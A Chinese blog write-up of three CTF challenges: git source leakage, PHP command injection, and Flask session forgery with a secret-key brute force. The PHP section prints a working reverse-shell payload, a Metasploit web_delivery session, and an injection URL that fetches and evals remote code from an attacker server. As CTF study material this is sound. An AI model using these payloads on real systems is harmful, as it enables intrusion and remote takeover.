2020Geek11th新生赛

2020Geek11th新生赛

自己菜的像🐕,只好从新生赛打起了…

https://shimo.im/docs/TwvhXT3HKDpQVgR6/read

EZgit

git源码泄露 + commit版本切换

脚本:GitHacker 由王一航大佬开发。

https://github.com/WangYihang/GitHacker.git

1
2
3
4
python GitHacker.py http://47.100.46.169:3902/.git/    #获得源码+.git
git log --reflog #查看历史提交日志
git reset --hard ID #切换版本到对应历史提交版本,ID为日志中的commit ID
#flag就在对应历史版本中的源码里

BEym8I.png

知X堂的php教程

​ 这道题首先通过URI资源名和效果判断出后台接口可以任意读文件以及目录遍历,因此可通过其接口得到源码,下一步就是审计源码了。

​ 审计源码,猜测是listdir.php种的ls代码注入,尝试;ls注入,发现没有预期结果,通过Wappalyzer识别服务器架构为Ubuntu操作系统,所以搭建Ubuntu环境测试源码注入情况。

​ Ubuntu下载apache2后发现无PHP环境,需要下载php与apache2的php模块库

1
2
sudo apt install php
sudo apt-get install libapache2-mod-php

​ 经过尝试后,发现没有预期结果的原因是传入的;ls是search_dir变量,很明显,$search_dir无论如何拼接/item都是sh无法通过is_file(),因为明显没有目录名叫;ls

1
if ( is_file($search_dir . '/' . $item) AND substr($item, 0, 1) != '.' )

​ 所以其实代码通过是可以注入的,只不过无回显,下一步的主要思路就是绕过waf.php来实现一个shell反弹,拿到flag。

​ waf利用正则表达式过滤了<>|&,因此常规的反弹shell不行,因为重定向符被过滤了。通过源码的任意读文件,上网查了一下获得shell的多种方法,其实python就可以,可惜靶机中无python。另外发现msf获得shell的方法很清奇:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msf > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set target 1
target => 1
msf exploit(web_delivery) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(web_delivery) > set lhost 192.168.118.128
lhost => 192.168.118.128
msf exploit(web_delivery) > set lport 6666
lport => 6666
msf exploit(web_delivery) > set SRVPORT 8888
SRVPORT => 8888
msf exploit(web_delivery) > run
[*] Exploit running as background job.

[*] Started reverse TCP handler on 192.168.118.128:6666
[*] Using URL: http://0.0.0.0:8888/mDIK5UGRA8Qs76
[*] Local IP: http://192.168.118.128:8888/mDIK5UGRA8Qs76
[*] Server started.
[*] Run the following command on the target machine:
php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.118.128:8888/mDIK5UGRA8Qs76'));"

​ 首先是msf开启了一个8888服务,并且生成了一个文件内容,最后由php程序通过eval去包含且执行它。这里php的骚操作让俺长了见识,尽管咱云服务器上无msf,但是咱们可以举一反三,在云上弄个文件带上php反弹shell的payload,再让它包含不就完事儿了嘛!原理就是这样。另外,这里的骚操作php -d 让俺也涨了见识,-d参数可以进行一个临时配置,这里是开启了url文件包含的选项,让其php进程可以包含俺云服务器上的资源。最后,我在云服务器上/var/www/html中写入了一个gogo.php(没错,俺就是直接用的web服务),内容如下:

1
$sock=fsockopen("123.57.95.65",2333);exec("/bin/bash -i <&3 >&3 2>&3");

​ 这是比较典型的php反弹shell的payload。so,完事具备,代码注入一波就好!云服务器端开启一波2333端口监听,nc -nlvp 2333,然后注入。

1
2
3
http://47.94.239.194:8082/listdir.php?dirname=.;php%20-d%20allow_url_fopen=true%20-r%20%22eval(file_get_contents(%27http://123.57.95.65:80/gogo.php%27));%22
+++++++++++++++++++++以上内容如下++++++++++++++++++++++
http://47.94.239.194:8082/listdir.php?dirname=.;php -d allow_url_fopen=true -r "eval(file_get_contents('http://123.57.95.65:80/gogo.php'));"

​ 此时云服务器监听终端有反应啦,成功拿下shell,find / -name flag一波,找到位置/flagggggggggggggg_1s_here/flag,cat即可!

1
SYC{Mak3_ZXT_sh*t_4oreVer}

忏悔的刘壮

审题发现应该是与python flask框架的session有关的题目,然后在网上检索关于flask的session相关CTF题。

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

flask session的组成结构:json->zlib->base64后的源字符串 . 时间戳 . hmac签名信息

例如:eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc

​ 发现了其考点可能为爆破session的密钥secret_key,来进行伪造session_id。这里使用flask-unsign开源PY脚本,首先

1
2
3
flask-unsign.exe --decode --cookie 'eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc'

得到session中的json内容:{'done_times': 0}

BAdxFP.png

然后再尝试爆破其secret_key:

1
2
3
flask-unsign --unsign --cookie 'eyJkb25lX3RpbWVzIjowfQ.X5JVng.5U6uWBp6V-g98elViadcYHwP3yc'

得到secret key:'abc'

BAweYV.png

OK,我们得到了伪造session id的手段,尝试进行伪造,json内容为”{‘done_times’: 100}”,伪造方法同样使用flask-unsign脚本

1
2
3
flask-unsign --sign --cookie "{'done_times': 10}" --secret 'abc'

伪造结果:eyJkb25lX3RpbWVzIjoxMH0.X5J7yQ.0mXdmM9UPFAgmW4SlEqkoYJIx00

尝试将伪造出的session id存入浏览器,再次访问一下do_answer页面,发现done_times的值10被回显到了前端!怀疑存在SSTI模板注入!

BA0pA1.png

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器